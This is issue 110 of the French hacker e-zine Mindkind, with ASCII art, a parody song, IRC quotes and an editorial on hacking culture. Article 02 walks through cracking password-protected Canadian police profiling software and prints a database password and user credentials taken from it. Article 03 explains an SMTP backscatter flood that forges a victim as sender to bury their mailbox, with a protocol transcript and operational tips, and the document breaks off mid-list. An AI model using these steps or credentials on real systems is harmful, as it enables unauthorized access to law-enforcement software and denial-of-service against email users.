     .- - -, .- - -. .- - ------ - -.        __ __ __       __  __
     |     | |     | |              |       |        |     |  |/  /  
     |     | |     ' |              |       |        |     |     / 
     |     | |     | |              |       |        |  _  |     \   _
     |     . '     : |              |       |__|__|__| |_| |__|___\ |_|
     '     | :     | .    ____ _    |     
     |     ' |     | |   '      |   |                 
     |     | .     | :   |___ __.   |     mindkind 110 ; bigger than ever !
     |     : |     | |              ;    
     |     | |     | |              '   ------- - - - -------------- - - ----
     |     | |     | .              |          
     |     | .     | |              .         
     |    _| |     : ,        _     |    
     '---| \ '- ---' '-- -- -/ |----'    
      \    /                 \    /    
       |  |     ."'\"/"".     |  |        "Well you're in your little room 
       |  |     |  O'o  |     |  |             
       |  .     |   u   |     '  |      and you're working on something good
       &   '    '   ~   '    '   ,       
        &   \__ _\     /__ _/   &             but if it's really good 
         \        '---'        /                
          \    ==       ==    /            you're gonna need a bigger room     
           '.    o     o    .'                      
            |               |            and when you're in the bigger room    
            .     __|_ _    .                
             \    __:__    /               you might not know what to do    
              \     |     /                     
               \         /                   you might have to think of  
                \_______/
                |__|_|__|                       how you got started
                 |     |              
                /  ___  \                   sitting in your little room" 
               /   / \   \  
              /   /   \   \              
             :    )   (    ;             
             '   /     \   '                   - The White Stripes
             /__/       \__\                       Little room
           __\  \       /  /__           
          (______)     (______)          



     C'est avec une modestie des plus insignifiantes que nous dévoilons ce 6eme  
ezine  Mindkind. Nous tenons a vous avertir d'est  maintenant  que  si  par  le 
passez certain d'entre vous nous on trouver prétentieux ou  on trouvez qu'on ne 
se mêlais pas de nos affaire, et  bien  sachez  qu'on  a  bien  l'intention  de 
continuer a vous donnez raison. Le temps des  fêtes  arrive  en sympatico haute 
vitesse et nous avons décider de vous offrire  non  pas seulement un magnifique 
ezine en cadeau, mais aussi quelque  software   de  moraliser plus que douteuse  
et  bien  sur  des  gros  becs mouiller tout aussi  horrifiant qu'un ezine  dla  
concurrence.  C'est sans grande peine  que  nous  les  laissons  derrière    en
compagnie des citrouilles pourris oubliez a l'halloween. 


     Devinez qui est en avance cette année ? ce ne sont malheureusement pas les 
oeufs de paques, mais la nouvelle génération de newbie  tout  fraîchement chier 
qui vient grossir les rang de tout les groupes  ridicules  avec  des  noms plus 
debilisant les uns que les autres, et je cite le rectum crew, le crosseur crew, 
aka crew, anti-crew et pourquoi pas le banana crew ?

                                      ,-,--,  
                                     / /  /
                                    / /  /
                                   |_|__|
                                   \ \   \
                                  \   \   \
,----,----,-,,-,----,-,,-,----,   \   \    \
|    | || | \| | || | \| | || |  |   |      \  
|  >=|    |    |    |    |    |  ;   ;       ;  
|    | /\ | |\ | /\ | |\ | /\ | >   >       >
'----'-''-'-''-'-''-'-''-'-''-'/   /       /
                              /   /       /
                             /   /       /
                            /   /       /                                                
                          /   /       /,-----,,------,   ,------,,---,    ,---,
                         /   /      / /     / |  __   \  |      ||   |    |   |
                        /   /     /  /     /  | |  \   \ |  ,---'|   |    |   |
                       /   /    /   /     /   | |__/   / |  |    |   |    |   |
                       /  /   /    /     /    |     __/  |  '---,|   | /\ |   |
                       / /  /      \     \    |     \    |      ||   \/  \/   |
                       |/_-         \     \   |      \   |  ,---'|            |
                                     \     \  |   |\  \  |  |    |    _  _    |
                                      \     \ |   | \  \ |  '---,|   / \/ \   |
                                       '-----''---'  '--''------''---'    '---'



Ping ping ping ping ping ping ping 
Banana crew 
Ping ping ping ping ping ping ping 
Banana crew 
 
I've got this feeling 
so appealing 
for us to get together and ping - PING! 
 
Ping ping ping ping ping ping ping 
Banana crew 
Ping pong ping pong ping pong ping 
Banana crew
 
It grows in bunches 
I've got my henchman
Its the best 
beats the rest 
follower modular 
interuberhaxor
 
Ping ping ping ping ping ping ping 
Banana crew 
Ping pong ping pong ping pong ping 
Ponana crew 
 
Its no a llamah
It aint a newby 
My follower 
Bananular crew
 
Don't need head quarters 
don't need lames 
to call a bot of mine 
dont need real life or tv 
to have a real good time 
I'll flood for pizza 
I'll flood my cat 
I'll flood the whitehouse, have a cheat 
I'll place bot's around the world 
Operator get being ping ping ping ping 
 
 
 
Ping ping ping ping ping ping ping 
Banana crew
fling flang fling flang fling flang fling 
Banana crew 
It's a real lame mama and papa crew
a brother and sister and a dogacrew 
a grandpa crew and a grandma crew too - oh yeah 
my follower bananular crew
 
Banana crew 
ping... ping... ping... 
Its a crew with appeal (a peel) 
 
Banana crew
ping... ping... ping... 
Now you can have your crew and screw it too 
Banana crew 
ping... ping... ping... 
This song drives me .... bananas 
Banana crew
ping... ping... ping... 
 
Bo ba do ba do do newb


      this song drive's me, yeah fucking right. Et si vous voulez  savoir  sque
vous  auriez  l'air  a  essayer  de chanter c'est parole par dessus l'excellent 
original de raffi (bananaphone), bien il vous sera  possible  de  le  faire  en 
écoutant le mp3 (bananafauxcrew.mp3) contenu dans la version FULL de ce e-zine. 
Après ça  vous allez être sur de pas vouloir essayer ;].



     


                                            __                                     
                                    ,,--`'`'``'`'`--,.                             
                             ,-;`'``'           .    `'`;-.                       
                      ,,-;'`'              .               ``';-.,                
                  _.;`              ,          ,     .            `;._            
               ,-'              ;       ,                     ,       `-,
             ,l     ,      .                ,    ,      ,                l,
           .`                    .      ,            .       .     .     , '.               
          l`                .        ;   ,    ,          .                   `l
        ,`            ;  ,       ,                 ,    ,      ;   .   ,  ,    ',     
       l      .    ,                  .   .                .                 .  l
      ,'                     ,                   .       ,      .       .       `,
     .l    ,             ,         ,          .                      .        ,  l.
     |          ,                    |                       ,  .   .     ,       |
     |  ,             ,     .        |     ,       ,   ,                      ,   |               
     |                             --#--                .         ,               |               
     |     .    ,    ,             . |             ,                    .         |               
     |                     .         |     ,                       .        ,     |               
     |                                                  .    ,                    |               
     | .            ,          ,..     ,         ,                                |
     |         .             .ip`           ___  o            .       .   |       | 
     |     ,                 :Gn            SantAO;.,_n__n,              -+-      | 
     |            |   ,      `lb.,     ,    ClauS/`  WW WW                |    ;  |
     |           -+-           ``           ~'''~          .    +    .            |
     |        .   |        .                                           ,          |
     |                           ,                  .                             |               
     |                               .       .            ,                       |               
     |   ,                   ,                                  .                 |               
     |                  ,                                                 ,       |
     |     .    ,       |\        .             .      +                          |
     |               ,  | \       ,      .                   ,______,           | |          
     |                  |_/|       .                  |      |      |          /|,|          
     |  ,____           |_/|       |                 -+-     | _/_/ |         / | |          
     |  |    \          |_/|       |_____             |      | _/_/ |        /  | |                  
     |  |_/_/ \         |_/|     ,/      \,     .            | _/_/ | ,     /_/ | |     
     |  |_/_/_/\  ,     |_/|     | _/_/_/ |                  | _/_/ |      / _/ | |
     |  |_/_/_/ \       |_/|     | _/_/_/ |                  | _/_/ |     /_/_/ \ |           
     |  |_/_/_/_/\      |_/|     | _/_/_/ |              .   | _/_/ |    / _/_/ \|| 
     |  |_/_/_/_/ \     |_/|     | _/_/_/ |                  | _/_/ |   /_/_/_/ \||
     |  |_/_/_/_/ /    / _/|     | _/_/_/_/\__               | _/_/ |  | _/_/_/ \||              
     |  |_/_/_/_//    /_/_/|     | _/_/_/_/_/ \   __; ;__   /_/_/_/ |  | _/_/_/ \||    
     |_/         \___/      \___/              \_|oo|_|##|_/        |__|        \||                 
     |                                                                            |             
     |____________________________________________________________________________| 
     |-   (.__//__//__.)(.__//__//__L)     -         -          -         -       | 
     |______OO______OO____OO______OO______________________________________________|
    ,|                                                                            |,    
   ,|      _________________________________________________________________      |,   
  ,|      /                                                                  \      |,  
,/       /                                                                    \      \,             
|        \          Merry           Fucking            Chrismas               /       |  
|         \                                                                  /        |
|          \________________________________________________________________/         |        
|_____________________________________________________________________________________|


                                           _/
               __________________________________________ 
        ______/    _/_/_/  _/_/_/  _/_/  _/  _/_/        \_________
   ____/            _/    _/  _/  _/_/  _/  _/                 ____\
  /                _/    _/_/_/  _/    _/  _/_/       ________/       
 /     ____________________________________ _____ ___/
| J   /                                    \\    \\                                                          
| o  |  .---+-=[ Topic of The ... Zine ]=---\\----\\----------+-------------------------=[N/A]=----.
| y &|  |  i|                                                  \___________________  ___  __   _   |           
| e  |  |  I|                                                                      \               |
| u B|  |  I|                                                                       '-=[ Mk-110 ]=-|
| x o|==| //                                                                                       |  |\   
|   n|  | L\:-=[01] -~{ Le patrimoine lemurien            }~--~{ By:  ( LastCall_ ) }~-]=--[~~]----|  | \
| N n|  |      [02] -~{ Cracking some Nasty software      }~--~{ By:  ( Mindkind  ) }~-]    \/     |  |H |
| o e|         [03] -~{ blind fire                        }~--~{ By:  ( __2       ) }~-]           |  |a |
| e  |  |      [04] -~{ Advanced Script Injection         }~--~{ By:  ( Wyzeman   ) }~-]              |p |
 \l A|  |      [05] -~{ Doomsday device part 1            }~--~{ By:  ( Qwzykx    ) }~-] Don't put    |p |
  | n|  |      [06] -~{ the real slim portknocker         }~--~{ By:  ( Phawnky   ) }~-] this Zine |  |y e\
  | n|         [07] -~{ Hardware Overclocking             }~--~{ By:  ( Spider    ) }~-] too close |  |  n |
  | e|==|      [08] -~{ Note sur Windows XP SP2           }~--~{ By:  ( Lastcall_ ) }~-] of your      |H   | 
  | e|         [09] -~{ SSh Stealth connection            }~--~{ By:  ( Phawnky   ) }~-] hears...  |==|a r |
  |  |  |      [10] -~{ Cause S of S-E  means Social      }~--~{ By:  ( Wyzeman   ) }~-]           |  |l e |  
  \  |  |      [11] -~{ RSS pas XSS ciboire               }~--~{ By:  ( Nothing94 ) }~-]           |  |l t | 
   | |  |      [12] -~{ A tales of interest               }~--~{ By:  ( __2       ) }~-]           |  |o a |
   | |         [13] -~{ When led leads to lockpicking     }~--~{ By:  ( Qwzykx    ) }~-]           |  |w r | 
   | |  |-[~]-=[14] -~{ Nbtel, rise                       }~--~{ By:  ( c4ndu     ) }~-]              |e d |
   \ |  |  :                                                                        }~-]           |  |e . |
    \|     :                                                                        }~-]=-----=:\T |  |n . |
        |  :                                                                                    // |  |  . |
        |  :                                                                                   |I     |    |
           :                                                                                   |i   ==|    | 
        '_______________________________________.I[ Event ]I.__________________________________+___'  |    |
                                                                      ______//___________//__________/    /
                                                              _______/                                   / 
                                                             /                                     _____/ 
                                                            /_____________________________________/ 


avant de lire ce manuscrit quelque règle de sécurité sont a prescrire

1) Mindkind vous rappelle que toute découverte de hiéroglyphe ou message secret
découvert a travers les  pages  précédente  ou  subséquente  est  un  phénomène 
pouvant  entre  d'écris  sous le  nom  d'hallucination  probablement  du  a une 
consommation irresponsable de saucisse hygrade. mais essayer pas on  la  vue le 
ptit bonhomme dans le coin en bas nous autre aussi et non  le  bonhomme fort du
ascii d'entrée du e-zine n'a pas de chancre moux sous les aisselles. 

2) Mindkind tien également a vous aviser que quiconque sera pris   en  flagrant 
delis de rip sera sévèrement gronder et privée de sorti durant 2 semaine.

3) si  jamais  vous  aviez  dans  la  tête  de  faire  un truc illégal, et bien
rappelez vous que cette idée viens de vous, pour le restes on veut rien savoir.

4) nous ne somme pas responsable des cas dhemoragies  occasionner  a  ceux  qui
désirerons se torcher avec la version papier de se ezine.

5) Attention surface glissante.



          ___)                                                       (__
         (_                                                            _) 
      _____)           (     )     )  ( _)_(_)     (_)_(_)_(_(        (______  
     (_____             )   ( )   (    )                 )              _____) 
          _)            (   ) (   )    ( __)             (             (_______ 
         (_              ) (   ) (      )                 )                  __)
        ___)             ( )   ( )      (                 (                 (____
 ______(                  )     )        )_(_)_(           )              _______)
(________                                                                 )____________
        (__           ______                                             ______________)    
          _)         (     _(    )_(_)_(    ( _)_)_(   )_(_)_)_(_)      (_______  
         (_           )   )      (    __)    )      )       (                ___)
      _____)         (__ (__      )   (      (      (        )             __)      
     (_____            (    )     (_(__ )      )      )       (         ___)           
          _)         ___)  (       )          (      (         )       (________                                
         (___       )_______)      (            )_(_)_(        (         _______)                        
             )                                                          (                                 
                                                                                 



et puis nous voudrions vous donne de petite suggestion sur comment bien  danser 
en public. 

1) éviter de danser avec une bière
2) éviter de danser avec vous même
3) éviter de danser



.---+-=[  Le patriomoine Lemurien            ]=------+---------------------------=[01]=----.
|  i|                                                 \__________________  ___  __   _     |
|  I|                                                                    \                 |
|  I|                                                                     '-=[Lastcall_ ]=-|
| //                                                                                       |
| L\:-=[Ak : c'étais benbenbenben l'fun                 ]=--------------[~~~~~~~~~~~~]-----|
|                                                                        \          /      | 
'________________________________________________________________________.I[MK-110]I.______'         


Enfin un véritable patrimoine 
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
patrimoine n. m.
1. Biens et valeurs détenus, à la suite d'héritages,
   par une personne ou par un peuple.
2. Propriété commune à un groupe, à une collectivité, transmise par les 
ancêtres. La science est le patrimoine de l'humanité.

Curieusement,  des  valeurs  dans  un  "magasine", on appel ça un éditorial. Vu 
qu'on est  Mindkind, on  va appeler  ça un  patrimoine (faut  croire  qu'on  se
croit) car il s'agit du résultat de  la sommes de nos pensées, le  tout  défini
par Mindkind "la collectivité" (aka le collective, résistance is futile, heh)

Donc, depuis  le début  des ezines,  on vous  disait carrément  qu'on  était en
train  d'écrire   l'histoire  (avec   des  faits).   L'histoire  de   Mindkind.
Maintenant,  on  lâche  les faits,  et on  se garoche  dans les  opinions.  Les
opinions de Mindkind.

Sans plus  tardés,  voici les opinions.  Ce sont des  choses qui choques,   des
choses que  moi même LastCall_ je pogne les nerfs quand qqn d'en Mindkind  m'en
parle avec  un  air d'en savoir  plus que moi,  mais pourtant, elles    doivent
être  dites,  car c'est ça la fucking liberté d'expression.

Vous êtes  encourager  a nous ostiner la dessus, mais  seulement si  vous  avez
des arguments  intelligents  et que  vous vous  entendez  sur  une   partie  du
sujet  (car   après  tout,   ceux  qui  sont  totalement  contre sont  pas dans
notre style de pensées..  donc pkoi  s'ajuster a  eux? au pire starter  vous un
ezine).


Le hacking selon Mindkind
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
La plupart du monde qui blast  Mindkind, nous pose comme lapin que notre  ezine
est pas majoritairement du "hack".
C'est quoi du hack?
./l33tr00t0r 24.5.5.5
#root~] echo iamleethax0r
ça?
Nah,  pour nous  le  hack,  c't'un  moyen  de  contourner  quelque chose.   Une
méthode  alternative,  pour  un  résultat  alternatif. Une  idée  géniale, pour
arriver à une solution jubilante.

Donc, un  hacker, c'est une personne qui est capable de faire toute ça. Et pour
être capable  de faire tout ça, ça prends un bunch assé grand de  connaissance.
Par  exemple,  tu  hack   une  box  Unix.  Facile  se  servir  de ./l33tr00t0r,
maintenant une fois "in"  tu  fais quoi? Install  une backdoor et vlan?  Sachez
que la limite entre le script  kiddies  et le hacker est la, celui qui  connaît
le système, ou qui  fini par  le connaître  est un hacker. C'est  donc la qu'on
trace la  ligne entre  le  newbie  pis le  script kiddies.  Un newbie va tacher
d'apprendre,  un script  kiddies  va  rouler un  autre script  pour  "owner  la
machine".

Fak c'est la qu'on se fait poser  la question, êtes vous des VRAI  HACKERS!?!?!
La réponse c'est ça dépend. On dirait  que tout le monde utilise ce mot la pour
expliquer ce que ça leur tente,  j'fais  la même chose avec le mot "col  bleu".
Certains on une  définition du  hacking  comme étant quelque  chose d'exclusif,
mais Mindkind, par contre, a la  tendance de croire que le hacking devrait être
un peu comme la fine cuisine  lémurienne, de quoi qu'on peut enjoy avec un  peu
temps a mettre.  Fak pour les  extrémistes  compulsif (hey  c moi ça?),  non on
fait pas du  hacking, on fait  de l'informatique..  mais  pour ceux qui  savent
tempérer  leur  vie  on  peut  sûrement  être  une   bonne  source  de  hacking
quotidienne...

Donc, pour bien vous remplir la pense, voici une  liste d'épicerie  d'articles.
Y'a une tonne d'exemple  qui nous vient en  tête,  mais nous croyons  que si on
prends des articles "Mindkind" un à  un, on  arriverait a de quoi...  les voici
par types. On vous rappelle  que les articles  sont dispo  individuellement sur
le site web www.mindkind.org dans la section database.


- OS
Comme dit avant,  connaître les OS  c'est bon.  Que  ce soit le  fonctionnement
interne qui nous  permet de songer a du code (hidinglkm.txt, qnx.txt,  mbr.txt)
ou  encore les  moyens  de  faire de  l'administration système  (slackboot.txt,
armoringslackware01.txt, armoringslackware02.txt,  iptables.txt) si vous voulez
être un  hacker "complet"  il  vous  faut ces  skills. (root4rent.txt, ipc.txt,
tsweb.txt, tips_getboxinfo.txt). 

- Coding
A moins que vous  êtes capable  de manipuler  le binaire "à la  main" (alors la
chapeau), coder,  même si  c  le  plus futile  que possible  (scripting, script
shells), s'avère  une skill  importante.  Même  si vous  commencer par coder de
quoi de  simple (perl1à3.txt,  introasm.txt,  tclsocket.txt,  winrawsocket.txt)
vous   finirez   par   faire   de   quoi   de   pratique   (tips_xdccleach.txt,
php_htfleecher.txt) et ultimement vos codes  vont vous aider  a parvenir  à vos
fins (php_ezportknocking.txt). Et si vos fins sont encore  plus grande, et bien
vos   méthodes   de  coding   devront  s'y   ajuster  (php5.txt,   perl4à5.txt,
makefile.txt).

- Cracking (tout les sens du termes)
Sujet en lui-même peu touché par Mindkind, car tlm sait se servir de john,   le
cracking de software (softice.txt) est pratique. Même que quand on y pense,  se
savoir  se servir  de GDB,  c hacker  comme un  élite  (fmt.txt,   buffnop.txt,
FormatStringAttack.txt).

- SE
Si jamais un jour  vous voulez aller encore  plus loin  dans vos  hack, ça vous
prend des skills  de crosses sociales.  En faite, ya  pas  que le  "information
gatering"     (tips_freeisp.txt,      tips_hackfuturshop.txt,      pwesson.txt,
infiltration01et2.txt) d'important.  Ya aussi le quoi faire avec les choses une
fois que vous les avez (moneymaker.txt).

- Philo
Et c'est la qu'arrive la philo. Avec  quels skills vous allez vous estiner avec
le monde? (lepouvoirdescons.txt,  readordie.txt, guerreetphilo.txt, etc)  Quels
modes   de   pensées  vont   définir    vos  motivations?   (introspection.txt,
sadness.txt, etc) Contre quoi allez  vous vous rebellez?  (deshumanisation.txt,
fuckuimlouis.txt,  tournepasrond.txt,    sasuxx.txt,  etc).   Un  hacker   sans
philosophie, c'est un mindless drone qui   connaît tout ses taches mais qui  se
fixe jamais de buts.

- Phreaking (Urban Exploring ~ wardriving)
On vote pour une  convergence du phreaking  (vmb.txt),  en toute cki peut  être
des     hacks     des    explorations     (wifi.txt),     des     modifications
physiques(wanalockpicking.txt, howtolockpicking.txt), électronique  (light.txt,
radioscrap.txt).  C'est  pourtant rendu  une  chose rare,  le   phreaking, mais
pourtant  comment  on  ose s'appeler  un  hacker  si on  paye   pour  faire des
conférences à 5 ?

- Contre-Culture
En lien fort  avec la philo,  la culture est  ce qui nous  tente  de faire.  Ce
qu'on a envie de dire.  Toute l'ensemble des articles  mentionnés  avant (ainsi
que ceux non mentionnés) font partie d'une culture, la  notre. Sans cette  dite
culture, qui est différente  des autres, on serait  juste  une gang de  suiveux
qui voudrait "faire comme phrack paske phrack c le  best". Et bien si vous,  ça
vous tente de vous faire menez par  une mono-culture  qui est basé aux USA,  go
for it, nous on  va continuer de faire  évoluer la  notre, qui  est influer par
les autres, mais qui n'en est pas une copie ou un "c ça ou cé rien".


Conclusion
¯¯¯¯¯¯¯¯¯¯
Eh voila,  changement  drastique  dans  la  formule.  Pourtant   ça fait   déjà
quelque  années qu'on  pense de  même..  ça  fait déja  quelque année que  dans
le groupe, ont a  décrit nos partages, mais  on  dirait qu'on a jamais vraiment
donner a  l'extérieur, well,  maintenant vous  l'avez.  So  enjoyer le reste du
eZine, et augmenter vos skills tel un undead lvl24 à WoW.   
   
   
     
 
 
 
                  !!!! Mindkind SuperStars !!!!

                          

                          /\     
                      ___/  \___ 
                      \  |  |  / 
                       \\____//  
                       /  ..  \  
                      /,-`  '-.\ 
                      `        ` 
               __   ,,           
            _'`M \-`_/           
         ,/` ___K   /            
        .-`"` 0 0`_`             
        |@`"     . `)            
        `-__ """"-`              
    /   ,` ``'`\`                
   /  ,`  /_/___\                
   / (      `, O:    .           
  /   `.----`:   `-`` l          
        | (  / `-./  /           
        | (,`     `-/            
      /  \.`                     
     /  /  /    /                
    /     /    /                 
      /                           ..                                 
     /  /                       ,`  `.       .`,                     
____________                   / \  / \     /o \                      
            `,                / |\\//| \   |. `//'`^.                 
_____________|               /  |_;;_|  \  |/||/ `/  :.    .   /\    .
           |`                \   ____   /    || \/ \/ |    \``/  \`./|
           |                  \ /\/\/\ /      \ /\ /\ |   _/   ( )   :
           |                   \\_/\_//        |__`__/   (' \_______/ 
___________|_____________________V__V_________//____\\____//_______/:____



               

.---+-=[ Info - Pubs ]=-------------------------------+--------------------------=[:P]=----.
|  i|#hack.fr, un endroit respectueux des cultures     \___________________  ___  __   _   |
|  I|                                                                      \               |
|  I| (au fait quelqu'un sait c qui ? :])                                   '-=[ Mk-110 ]=-|
| //                                                                                       |
| L\:-=[<{MADBoY}> Ce sont pas des vrai Hacekrs                                ]=--[~~]----|
|      [<{MADBoY}> ce sont des lamers                                          ]    \/     | 
       [<{MADBoY}> ce sont des cons                                            ]           | 
|      [<{MADBoY}> jammais les français etais des hackers                      ] Light can  
|      [<{MADBoY}> et aucun ne peux me repondre                                ] be harmfull              
|      [<{MADBoY}> sinon je l enculer devant vous                              ] beware of |  
       [<{MADBoY}> y a quelqu un ki peut me repondre ici ...???                ] the       | 
       [<{MADBoY}> Ils me connaissent bien                                     ] photonic  |  
|      [<{MADBoY}> j ai leur donner une leçons l autres fois au hacks          ] killer...              
|-[~]-=[<{MADBoY}> Pour connaitre ke je suis Un Marocain ki peut les Niker     ]                
                                                                               ]=-----:\T  | 
|                                                                                      //  |  
                                                                                      |I
                                                                                      |i 
'_______________________________________.I[ Event ]I._________________________________+____' 
                                  



.---+-=[ Cracking some Nasty software        ]=------+---------------------------=[02]=----.
|  i|                                                 \__________________  ___  __   _     |
|  I|                                                                    \                 |
|  I|                                                                     '-=[Mindkind  ]=-|
| //                                                                                       |
| L\:-=[Ak : C'est pas moi pi vous mavez pas vus        ]=--------------[~~~~~~~~~~~~]-----|
|                                                                        \          /      | 
'________________________________________________________________________.I[MK-110]I.______'         
               


<Warning - Attention>
  Cet article n'est pas une tentative de lancer un défi aux services  secret du 
pays ni une façon de se faire accepter dans l'équipe des rouge des terroristes. 
Nous n'utilisons  pas  le  logiciel  C216E  et  jamais  il  nous  est venu dans 
l'idée de le distribuer. Les informations divulguées ici ont été transmises sur 
internet par le CPIC lui-même et nous considérons qu'il est le seul responsable 
si des données secrètes sont dévoilées dans cet article.  De  plus, l'équipe de 
mindkind considère irresponsable de la part de nos forces policière  et  de  la 
part d'interpole de laisser des informations telles que retrouvées dans la base 
de  données  du  logiciel  en  circulation  sur  internet  avec  une  si faible 
protection.
</Warning - Attention>
 
  L'équipe  de  mindkind  couchée  dans  un  lit  double  s'émerveillant  de la 
technicité du  plafond et se retournait sur son sort en se demandant ce qu'elle 
pouvait  faire  pour  améliorer  le  fear factor  de  son e-zine quand elle fût 
soudainement frappée par un éclair de géni. Reverser des tools de good guy.

  Après  quelques inutiles et discutables recherches google notre attention fût 
portée sur le site du CPIC (Canadian Police Information Center) et son logiciel 
de   profilage    de   criminel  "protégé"  par  mot  de  passe...  offert   en 
téléchargement?! Heureusement, il est servi avec  une  mise  en  garde   disant 
exactement :  Please  note  that  this  software is strictly for use by Private 
Fingerprinting Agencies and does not contain  any  information for searching or 
processing   criminal records.. Ça tombe bien, on veut seulement le "déplomber" 
(*Cough*).

  Une fois le logiciel téléchargé on peut vite  constater  qu'il  demande comme 
prévu  un  mot  de passe. Le premier réflexe serait de décoller OllyDbg pour le 
cracker mais  si  vous avez un bon sens de l'observation vous avez pu remarquer 
que  sur  le  site  ils  offrent  les composants MDAC en téléchargement. Ça pue 
Access à plein nez.  Comme  de fait  si  vous  regardez  attentivement  dans le 
dossier du logiciel pendant qu'il s'exécute vous  pourrez remarquer la présence 
d'un fichier NPSADT.LDB (Access lock db file). En fesant  une  petite recherche 
dans  ce  dossier  vous  pourrez aussi remarquer que le fichier NPSADT.DLL  est 
existant. 
	
  Premier  réflexe :  l'ouvrir  avec  Access. Comme nous l'avions estimé accès 
reconnaît sans problème le fichier comme  une  basse de données et nous demande
un  mot  de  passe.  Heureusement,  les  mot de passes Access se crackent assez
rapidement avec l'utilitaire ACPR (password : m4a1p228 trouvé en ~1 segondes). 

  On  entre  alors  dans  la base  de données et on se promener dans les tables 
vides. Comme vous pourrez le remarquer, certaines tables comme OriginDeptAgency 
contiennent  plus  d'informations  sur  les  services  policiers  que vous n'en 
connaissiez  déjà  et  la  table  tblUsers contient des username et des mots de 
passe tels que slauzier/m4a1p228. Comme  c'étais  le  même  mot de passe que la 
base de  données, c'est le   mot  de  passe  que  nous avons essayer mais, ho!, 
mauvaise surprise, le logiciel nous  retournes  une  erreur  disant  d'utiliser  
les informations fournies au préalable.

  Nous  avons  donc  démarrer  un  debugger  quelconque  (OllyDbg)   et   suivi 
l'exécution jusqu'à ce que nous arrivions sur une requête  SQL q ui demande des
informations à la table tblConfig. Cette table est originellement  vide, l'idée
c'est  de  créer  une ligne de configuration pour l'utilisateur souhaité.  Nous 
avons donc créer une ligne avec SEBASTIEN LAUZIER comme PDname (hahaha pd!)  et 
paff, l'application démarre.

	Une  fois  l'application démarrée, vous n'aurez accès a rien parce  que
votre  ligne  de  configuration est invalide dans la base de données. Ce que je 
vous  suggère  c'est de bruteforcer les quelques 10 valeurs jusqu'à ce que vous
trouviez une bonne combinaison, c'est assez facile, on vous laisse le faire.


                                                              The Mindkind Team
                                   
.---+-=[ Info - Pubs ]=-------------------------------+--------------------------=[:P]=----.
|  i|#hack.fr, un endroit accueillant et stimulant     \___________________  ___  __   _   |
|  I|                                                                      \               |
|  I|                                                                       '-=[ Mk-110 ]=-|
| //                                                                                       |
| L\:-=[<fraggle84> toujours peu de conversation ici.....                      ]=--[~~]----|
|      [<fraggle84> les hackers sont des grands timides...ou alors ils ont peu ]    \/     | 
       [de choses a dire.....                                                  ]           | 
|      [<Wyzeman> ya un proverbe qui dit que ceux qui parles le plus sont ceux ] There is   
|      [qui en savent le moin...                                               ] do, and do              
|      [<Ninja|UFM> comprend tjrs pas pk le monde pense qu'il ya des           ] not, there|  
       [discussions de hack ici!                                               ] is no try | 
       [<Wyzeman> Ninja|UFM ben voyons, attend jva paster une liste de cc      ]           |  
|      [<Wyzeman> a pi jva aussi laisser ma mac address pi mon # de telephone  ]                
|-[~]-=[<Wyzeman> ya tu quelquun qui veut mon nas ?                            ]                
                                                                               ]=-----:\T  | 
|                                                                                      //  |  
                                                                                      |I
                                                                                      |i 
'_______________________________________.I[ Event ]I._________________________________+____' 


.---+-=[ SMTP Weapon Of Mass Destruction    ]=------+---------------------------=[03]=----.
|  i|                                                 \__________________  ___  __   _     |
|  I|                                                                    \                 |
|  I|                                                                     '-=[__2       ]=-|
| //                                                                                       |
| L\:-=[Ak : The Blindfire attack                       ]=--------------[~~~~~~~~~~~~]-----|
|                                                                        \          /      | 
'________________________________________________________________________.I[MK-110]I.______'         
               

      Je vais vous parlez aujourd'hui d'un problème méconnu du  protocole  SMTP
permettant  de  générer  du  trafic  à la pelle. L'utilisation normale de cette 
faille mène  inévitablement vers  du  flood  de  "mail box"  et  des  DoS.   Je  
n'incite  aucunement  ce genre d'activité mais j'ai tout de même pensé que cela 
pourrait  en intéresser plus d'un ;)

Lors de l'envoie normal d'un courriel, le client se connecte  au  serveur SMTP,
s'identifie,  définis  une  source,  définis   une  cible  ou  plusieurs copies 
carbones. Le tout  suivi  du  contenu  du  courriel et de  la  déconnection. Au 
niveau protocole cela ressemble à ceci :

-------------------------Connexion établis au serveur SMTP-----------------------

SERVER << 220 router.eden ESMTP Sendmail 8.12.11/8.12.11; Fri, 5 Nov 2004 00:47:36 -0500
CLIENT >> HELO test@source.com
SERVER << 250 router.eden
CLIENT >> MAIL FROM: <test@destination.com>
SERVER << 250 Sender <test@destination.com> Ok
CLIENT >> RCPT TO: <test@destination.com>
SERVER << 250 Recipient <test@destination.com> Ok
CLIENT >> DATA
SERVER << 354 Ok Send data ending with <CRLF>.<CRLF>
CLIENT >> Subject: this is a test
CLIENT >> 
CLIENT >> Body go here
CLIENT >>
CLIENT >> .
CLIENT >>
CLIENT >>
SERVER << 250 Message received: 20041105054612.RKSC25820.router.edent@[1.2.3.4]
QUIT
221 router.eden ESMTP server closing connection

-------------------------Déconnection--------------------------------------------


La technique dont je vais vous parlez exploite ce mécanisme   en  modifiant  la
source et les cibles d'une  façon  spécifique.  Le concept  est  en  fait  fort
simple, il suffit de placer l'adresse courriel victime en tant que source et de
glisser  plusieurs  destinations  bidons  durant  l'expédition  du courriel. Le  
serveur  SMTP  se  retrouvera  dans  l'impossibilité d'expédier le courriel aux  
destinations choisis et émettra un message d'erreur vers la source (la  victime  
dans le cas suivant). Pour chaque  nouvelle  destination, la  victime   recevra  
un  message  supplémentaire.  Un  serveur SMTP fournis  par  votre  ISP  permet  
généralement  d'allouer  ~100 destinations par courriel.  Cela peut varier d'un 
ISP à l'autre et  j'ai  eu  la  chance  de  faire  des exp‚rimentations sur des 
serveur SMTP   permettant jusqu'à 500 destinations.

Donc,  théoriquement, si j'envoie  10   courriels  de  ce  type, je génère 1000 
courriels qui iront directement dans la "mail box" de notre victime. L'avantage
est que les courriels sont transmis par le serveur SMTP et   non  pas par vous.  
Cela ne se termine pas là, bien entendu. Dans les courriels qui sont forgé nous 
pouvons aussi glisser de la donnée bidon, ce qui  augmentera   la   grosseur du
courriel. Si nous reprenons l'exemple des 10 courriels qui en  génère  1000, on 
peut déduire que 10 courriels de 200k (2megs total)  génère 200 megs de "JUNK".

Maintenant  que  j'ai  votre  attention,  je  vais parler des quelques règles à  
suivre  pour mener à bien l'opération.

1)  Utiliser  des   nom  de  domaines  différents  car  si  vous  utilisez  100 
    destinations provenant du mˆme nom de domaine, le serveur coupera  court et 
    ne vous envoiera qu'un seul courriel contenant tout les destinations ratés.
	
